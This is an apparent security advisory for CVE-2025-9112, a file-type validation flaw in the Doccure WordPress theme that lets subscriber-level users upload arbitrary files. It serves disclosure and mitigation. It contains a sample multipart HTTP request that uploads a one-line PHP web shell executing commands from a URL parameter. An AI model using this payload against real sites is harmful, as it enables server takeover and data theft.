Overview
The Doccure theme for WordPress, a popular theme used by numerous websites globally, contains a serious vulnerability that could potentially compromise the integrity and confidentiality of the affected systems. This vulnerability, known as CVE-2025-9112, involves a flawed file type validation in the ‘doccure_temp_file_uploader’ function. This flaw allows an attacker with merely subscriber-level permissions to upload arbitrary files onto the server, predisposing the system to possible remote code execution. Given the widespread use of WordPress and the Doccure theme, this vulnerability could affect a significant number of websites, posing substantial risk to the data and system security.
Vulnerability Summary
CVE ID: CVE-2025-9112
Severity: High (8.8 CVSS)
Attack Vector: Network
Privileges Required: Low (Subscriber-level permissions)
User Interaction: None
Impact: Potential system compromise and data leakage
Affected Products
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Product | Affected Versions
Doccure WordPress Theme | All versions up to, and including, 1.4.8
How the Exploit Works
The ‘doccure_temp_file_uploader’ function within the Doccure theme for WordPress doesn’t correctly validate file types during the upload process. An authenticated attacker with subscriber-level permissions could leverage this flaw to upload arbitrary files, including PHP files or other types that could be executed on the server. Since the server hosts these malicious files, it becomes feasible for the attacker to execute remote code, which could lead to system compromise and data leakage.
Conceptual Example Code
Below is a conceptual HTTP request demonstrating how the vulnerability might be exploited:
POST /wp-admin/admin-ajax.php?action=doccure_upload_temp_file HTTP/1.1
Host: vulnerablewebsite.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--This example illustrates the upload of a PHP file ‘exploit.php’, which could later be executed by navigating to its location on the server.
The current mitigation strategy is to apply the vendor patch or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure. It is crucial that users update their Doccure WordPress theme to the latest version to protect their systems from potential exploitation.
